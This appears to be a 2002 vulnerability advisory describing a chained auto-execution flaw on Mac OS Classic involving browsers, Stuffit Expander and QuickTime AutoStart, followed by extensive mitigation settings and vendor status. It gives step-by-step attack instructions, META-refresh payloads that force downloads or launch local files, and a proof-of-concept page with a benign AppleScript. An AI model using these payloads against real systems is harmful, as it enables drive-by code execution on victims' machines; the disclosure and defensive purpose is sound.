Last modified : 2002.02.14 21:20
Auto file execution vulnerability in Mac OS
vm_converter <vm_converter@mac.com> : http://homepage.mac.com/vm_converter/
FUJII Taiyo <taiyo@vinet.or.jp> : http://www.u-struct.com/
We found a vulnerability in Mac OS and Mac OS X with Classic environment. So, we have reported it for related vendors, browsers and Aladdin Systems, Inc. and Apple Computer, inc. in Feb. 3.
In this document, we provide URL to test exploit using this vulnerability.
[ Overview ]
If a victim-user only browses a malicious web-page;
- Browsers start automatically download a compressed disc-image file which includes a malicious program.
- Archivers --such like Stuffit Expander-- automatically expand the compressed file, and mount the disc-image.
- Mac OS (QuickTime) executes the malicious program included in the disc-image. It depends on QuickTime settings.
These 3 processes are done full-automatically, and end in an instant.
[ Detail ]
The vulnerability which we found is based on 3 vulnerabilities, and is generated by many software's complex relations. To explain the vulnerability, we summarize these 3 vulnerabilities in below.
The first one is
Macinosh IE file execuion vulerability [BugTraq] 2002 Jan.22 from Jass Seljamaa.
This vulnerability is observed when the web pages in which META-tag mentioned below is used are browsed.
<META HTTP-EQUIV="refresh" CONTENT="1; URL=file:///Macintosh%20HD/System%20Folder/Speakable%20Items/Put%20Computer%20To%20Sleep">
This means, malicious users can execute local programs in Macintosh using web pages. But it's able to only execute programs exist in full file-path in Macintosh which known by malicious users.
(In above case, Put Computer To Sleep lies in Macintosh HD:System Folder:Speakable Items:Put Computer To Sleep is executed.)
- Vulnerable browsers (in our test)*1 :
- Microsoft Internet Explorer 5.0 through 5.1.3
- iCab Pre 2.7 and 2.7.1
*1: Jass Seljamaa reports the vulnerable systems are IE 5.0, probably earlier, on Classic systems(below OS X)
in the contribute, but we found these are vulnerable.
-- Vuln.2 (probably announced in Japan only) : Force-download by META-tag
Next day to
Vuln.1 is reported, a Japanese user,
Mr. Mori presents other vulnerability related to
Vuln.1 at "
Security Hole memo".
-
http://www.st.ryukoku.ac.jp/%7Ekjm/security/memo/2002/01.html#20020123_macie (written in Japanese)
This vulnerability, similar to
Vuln.1, is observed when the web pages in which META-tag mentioned below is used are browsed.
<META HTTP-EQUIV="refresh" CONTENT="1;URL=http://somewhere.com/someone.sit">
Ater these pages are browsed, malicious programs are downloaded automatically.
So, malicious users use combination of
Vuln.1 and Vuln.2 can force victims to download the program and execute it. But, to force to execute the program, the malicious users must know the full file-path of download folders in victims' Macintosh.
- Vulnerable browsers (in our test) :
- Microsoft Internet Explorer 4.5 through 5.1.3
- Netscape Communicator 4.78
- Netscape 6.2 *1
- Mozilla 0.9.7 *1
- iCab Pre 2.7 and 2.7.1
- Opera 5.0
- OmniWeb 4.0.6 and 4.1beta11
*1: Netscape 6.2 and Mozilla shows dialog before download.
-- Vuln.3 (we found, probably announced in Japan only) : The technique using the disk image
According to
Vuln.1 and 2, we found other vulnerability, malicious users can launch arbitrary programs without to know full file-path.
Step 1 : Make a disk image that contains malicious program.
Step 2 : Compress this disk image file in *.sit form. (*.hqx, *.bin also effective)
Step 3 : Upload this *.sit file to some website and prepare a web page using
Vuln.1 and 2
Step 4 : Victims browse the web page the *.sit file is downloaded automatically. *
Step 5 : Stuffit Expander automatically extracts the *.sit file and mounts the disk image.
Step 6 : The malicious program in the disk image is executed automatically by browsers. *
* : Step 4 is based on
Vuln.2 and Step 6 is based on
Vuln.1.
Because of using disk image, malicious users are free to file-path of download folder. It's necessary to only prepare malicious programs and web pages.
In this vulnerability, Stuffit Expander plays an important role. It does automatic extraction and auto-mount disk images. So, in consists of
Vuln.1, browsers execute the program.
- Vulnerable systems (in our test) :
- Stuffit Expander 5.x through 6.5.1 for Mac OS
- Stuffit Expander 6.5 or higher version for Mac OS X*1
- Microsoft Internet Explorer 5.0 through 5.1.3
- iCab Pre 2.7 and 2.7.1
*1: Stuffit Expander 6.0 for X is not affected.
We make a test page for this vulnerability. Please try it.
http://www.u-struct.com/diary/img/20020126_IE5issue_noJS/
Auto file execution vulnerability in Mac OS : The technique using "AutoStart"
According to Vuln.1 to Vuln.3, we explain the "Auto file execution vulnerability in Mac OS".
This vulnerability which we found uses Vuln.2 and 3 but Vuln.1. It is coused by many software's complex relations, such as browsers (and network-clients) and Stuffit Expander and QuickTime. It's like the computer-virus "AutoStart9805" using "Autostart CD-ROMs" of QuickTime. In this way, similar to Vuln.3, malicious users can launch arbitrary programs without to know full file-path.
Step 1 : Make a disk image that contains "autostart" malicious program.
Step 2 : Compress this disk image file in *.sit form. (*.hqx, *.bin also effective)
Step 3 : Upload this *.sit file to some website and prepare a web page using
Vuln.2.
Step 4 and 5 is same as
Vuln.3.
Step 6 : The program in the image is executed automatically by "Autostart CD-ROMs" of QuickTime.
In this vulnerability,
1. browser downloads the *.sit in consists of
Vuln.2.
2. then, Stuffit Expander does automatic extraction and auto-mount the disk image.
3. and then, QuickTime executes the program in the image.
These are initial settings of each one. It's a teamwork. Only needs one click in web page, It will start automatic download, extraction, mounting, and execution.
Furthermore, if victims manually download malicious disk image with browsers or other network clients (like Fetch via FTP), automatic extraction, mounting, execution will start.
- Vulnerable systems :
- MacOS 9.x, and Mac OS X with Classic environment (probably System 7.5.x or higher) *1
- Quick Time 2.0 or higher version (probably) *2
- Stuffit Expander 5.x or higher version for Mac OS
- Stuffit Expande 6.5 or higher versionr for Mac OS X *3
- All browser and network-client using Stuffit Expander in post-process for download *4
*1: using Mac OS X by oneself is not affected.
*2: "Autostart CD-ROMs" is supported since QuickTime 2.0.
*3: Stuffit Expander 6.0 for X is not affected.
*4: Netscape 6.x and Mozilla shows dialog before download.
*4: OmniWeb 4.1beta11 is vulnerable, but 4.0.6 is not.
*4: We've tested Fetch 3.0.3, NetFinder v2.3.1, Vicomsoft FTP Client 3.0.1. These are vulnerable.
[ Exploit ]
We make a test page for this vulnerability. Please try it.
http://www.u-struct.com/diary/img/20020131_OSissue_E/
When your conditions are fulfilled, "Exploit_HD_OSX.img.sit" is downloaded and extracted, and disk image "Exploit_HD_OSX" is mounted, and application "openTrash" is launched automatically.
"openTrash" is application that prompt "This application opens trash only" and open trash only.
- web page source
<HTML>
<HEAD>
<META HTTP-EQUIV="refresh" CONTENT="1;URL=http://www.u-struct.com/diary/img/20020131_OSissue/Exploit_HD_OSX.img.sit">
</HEAD>
<BODY>
When your conditions are fulfilled, "Exploit_HD_OSX.img.sit" is downloaded and extracted, and disk image "Exploit_HD_OSX" is mounted, and application "openTrash" is launched automatically.
<h4>Vulnerable conditions</h4>
<b>In Mac OS :</b>
<ul>
<li>"QuickTime setting" control panel > "Autostart CD-ROMs" is ON.<br>
<li>Stuffit Expander > preferences > Disk images > "Mount Disk Images" is ON.<br>
<li>Stuffit Expander > preferences > Expanding > "Continue to expand" is ON.<br>
<li>Each Browsers > each preference > download setting using Stuffit Expander in post-process.<br>
<li>Each Browsers > each preference > download setting is "enable"<br>
</ul>
<b>In Mac OS X with Classic environment :</b>
<ul>
<li>Classic's "QuickTime setting" control panel > "Autostart CD-ROMs" > is ON.*<br>
<li>Others are same as in Mac OS.<br>
* "Autostart CD-ROMs" is influenced with Classic's "QuickTime setting". So, when Classic environment is not booted, Mac OS X is not affected.
</ul>
</BODY>
</HTML>
- "openTrash" source (AppleScript)
display dialog "this application opens your Trash only."
tell application "Finder"
open trash
activate
end tell
[ Solutions ]
Change the initial settings of each ones below.
The solutions are divided into two part, "required settings" and "more secure settings (not required)".
++ required settings ++
These are the solutions to prevent execution of malicious programs, but are not for Vuln.2 (force-download). However we recommend strongly all users to perform.
We recommend strongly that "required settings" is performed, but please choose each solutions according to convenience and your environment.
- "QuickTime setting" control panel >>> "Autostart CD-ROMs" >>> turn off. *
(for "Auto file execution vulnerability in Mac OS")
* : In using Mac OS X, "Autostart CD-ROMs" is influenced with Classic's "QuickTime setting". So, when Classic environment is not booted, Mac OS X is not affected.
- Stuffit Expander >>> preferences >>> Disk images >>> "Mount Disk Images" >>> turn off.
(for "Auto file execution vulnerability in Mac OS" and Vuln.3)
- Change the initial volume name (ex. Macintosh HD) to other. (for Vuln.1)
- Change the initial "Download Folder" (ex. Desktop Folder) of browsers to other. (for Vuln.1)
The change method in each browser is the following.
- Internet Explorer : [preferences...] >>> [Receiving Files] >>> [Download Options] >>> [Download Folder] >>> [Change Location...]
- Netscape Communicator 4.x : [preferences] >>> [Navigator] >>> [Applications] >>> [Download files to] >>> [Choose]
- Netscape 6.x : There is no initial "Download Folder", because download dialog appears in every download. So when force-download starts, you can cancel it. *1
- Mozilla : There is no initial "Download Folder", because download dialog appears in every download. So when force-download starts, you can cancel it. *1
*1 : If you have already turned off "Always ask before opening this type of file", the dialog will not appear. In that case, push "Reset" button at [preferences] >>> [Navigator] >>> [Helper Applications] >>> [Opening files].
- iCab : [preferences] >>> [Downloads] >>> [Default Settings] >>> [Destination and path depth] >>> [Download Folder] >>> [Choose...]
- Opera : We don't know how to change download folder. (Although there is such a thing at [Preferences...] >>> [Folders and Apps] >>> [Download Files to], it's not effective.)
- OmniWeb : [Preferences...] >>> [Downloads] >>> [Download folder] >>> [Find...]
++ more secure settings (not required) ++
The following is a list of solutions effective in either of the four above-mentioned ulnerabilities. Please choose ones according to your judgement.
- Stuffit Expander :
- [Preferences...] >>> [Expanding] >>> [Continue to expand (if possible)] >>> turn off
- [Preferences...] >>> [Destination] >>> [Destination] >>> change to "Ask"
- "Internet" controle panel :
- Change file-mapping settings using Stuffit Expander to ".Save To File" in post-process of download. (Some applications use these setteings.)
At [Control Panel] >>> [Internet] >>> [Advanced] >>> [File Mapping], select the settings of using Stuffit expander, and push "Change..." button, then "Add Mapping" dialog will appear. At the dialog, push "Show Advanced Options" button, and change the post-process setting to "Save To File". All of the file-mapping settings using Stuffit expander needs to be changed as same.
- Internet Explorer :
- Change download setting using Stuffit Expander in post-process to "Save To File".
At [preferences...] >>> [Receiving Files] >>> [File Helpers], select the settings using Stuffit expander, and push "Change..." button, then "Edit File Helper" dialog will appear. At [Handling] of the dialog, change "Post-Process with Application" to "Save To File". All of the File Helper settings using Stuffit expander needs to be changed as same.
- Change Security Zones setting not to perform download.
At [preferences...] >>> [Security Zones], set to "High" or "Custom" (File downloads to "Disable")
- Netscape Communicator 4.x : *
- Change download setting using Stuffit Expander in post-process to "Save To File".
At [preferences...] >>> [Receiving Files] >>> [File Helpers], select the settings using Stuffit expander, and push "Edit..." button, then "Edit Type" dialog will appear. At [Handling by] of the dialog, change the radio-button "Application:" to "Save to disk". All of the File Helpers settings using Stuffit expander needs to be changed as same.
* : We don't know how to prevent download, so probably there is no solution for Vuln.2 (Force-download)
- Netscape 6.x : it already mentioned above, you can cancel force-download on download dialog. (However, it is another when download is started manually). Again, when related attachment by Stuffit Expander is being performed by setup of Helper Applications, remove it.
- Mozilla : it already mentioned above, you can cancel force-download on download dialog. (However, it is another when download is started manually). Again, when related attachment by Stuffit Expander is being performed by setup of Helper Applications, remove it.
- iCab : *
- Prevent file-execution caused by Vuln.1 and Vuln.3.
[preferences] >>> [Special] >>> [Security] >>> [Launch programs by HTML links:] >>> set to "Always ask" or "Never permit".
- Change download setting using Stuffit Expander in post-process.
[preferences] >>> [Downloads] >>> [Start / Postprocess] >>> [After downloading...] >>> turn off "Postprocess using Internet control paness settings". Then change the file-mapping settings of Internet control panel as mentioned above.
* : We don't know how to prevent download, so probably there is no solution for Vuln.2 (Force-download). If [start downloads] >>> [At launch] and [When going online] are already turned off, they are disregarded.
- Opera : Opera shows dialog at starting download, but when pushing the ".Stop". button does not do, download will start and malicious program will be executed. The method of coping with Opera is not known well now.
- OmniWeb :
- Use version 4.0.6 (probably or lower)
In our test, OmniWeb 4.0.6 is affected with Vuln.2, but doesn't use Stuffit Expander in post-process of download, so malicious program is not executed. However, 4.1.1beta11 uses Stuffit Expander, so malicious program will be executed.
- OmniWeb 4.1beta11 shows dialog at starting download, but when pushing the ".Stop". button does not do, download will start and malicious program will be executed. The method of coping with Opera is not known well now.
- Other network clients : These are not affected with Vuln.2, so force-download will not start. But when you start download malicious program manually, auto-extraction and auto-execution will start. However, out test that is using these in the Classic environment of Mac OS X, has not run out. We have confirmed the affection only in Mac OS. The following is a solution for Fetch 3.0.3.
- Fetch 3.03 :
- Change download setting using Stuffit Expander in post-process to "Save To File".
At [Custromize] menu >>> [Post-Processing], set the "File Type" using Stuffit Expander to "Disable" or "Remove".
[Vendor status]
- mozilla.org (Bugzilla)
They set our report as "security sensitive".
http://bugzilla.mozilla.org/show_bug.cgi?id=123152
- icab.de
A Japanese iCab user (not us) has already reports to icab.de already.
They reply for solutions, and have expressed correspondence.
(But there is no infomation about it in their web site now.)
- microsoft.com and microsoft.co.jp
They have expressed correspondence to Vuln.1
(But there is no infomation about it in their web site now.)
- other vendors
no reply or auto reply
[Our comment]
We've reported to related vendors* at Feb.3, and contribute this vulnerability to BugTraq regardless of vendor correspondence.
Because we already announce this vulnerability in Japan, at our web-site and Security Hole memo ML.
Probably, thousands of Japanese users already know this vulnerability.
(these are in Japanese Language)
http://www.u-struct.com/diary/view.cgi?ID=s20020128002516
http://homepage.mac.com/vm_converter/200202_diary.html#20020128_AutoStart_vuln
http://memo.st.ryukoku.ac.jp/archive/200202.month/2846.html
*:apple.com, apple.co.jp, microsoft.com, microsoft.co.jp, aladdinsys.com, act2.co.jp, netscape.com, netscape.co.jp, mozilla.org (Bugzilla), icab.de, omnigroup.com, opera.com.
[Thanks]
First of all, Thanks to Jass Seljamaa for his contribution at Bugtraq.
Next, for Vuln.2, thanks to Mr. Mori for his contribution, and to Mr. Kojima for his information disclosure at "Security Hole memo".
And special thanks to all who offered the information on solutions and verifications, Rj, Mr. Nishitani, A8, Alchemist, Mr. Shinoda (for his verification of many browsers at [memo:2782]), gururi, KANKICHI, Mr. Sugisaki (for his infomation of QuickTime at [memo:2848]), Mr. Kobayashi, Mr. Takeuchi (iCab Japanese Edition), Ray, and all of the contributors to BBS at iCab wo kiwameru,
Also, special thanks to all who gave advice, awacs@hawkeye, Mr. Katayama, Mr. Akiyama (Macintosh Trouble News (Macintosh News) ), all of the contributors to Tea Room for Conference at academic office, and Kyodai-FUJI-Taiin.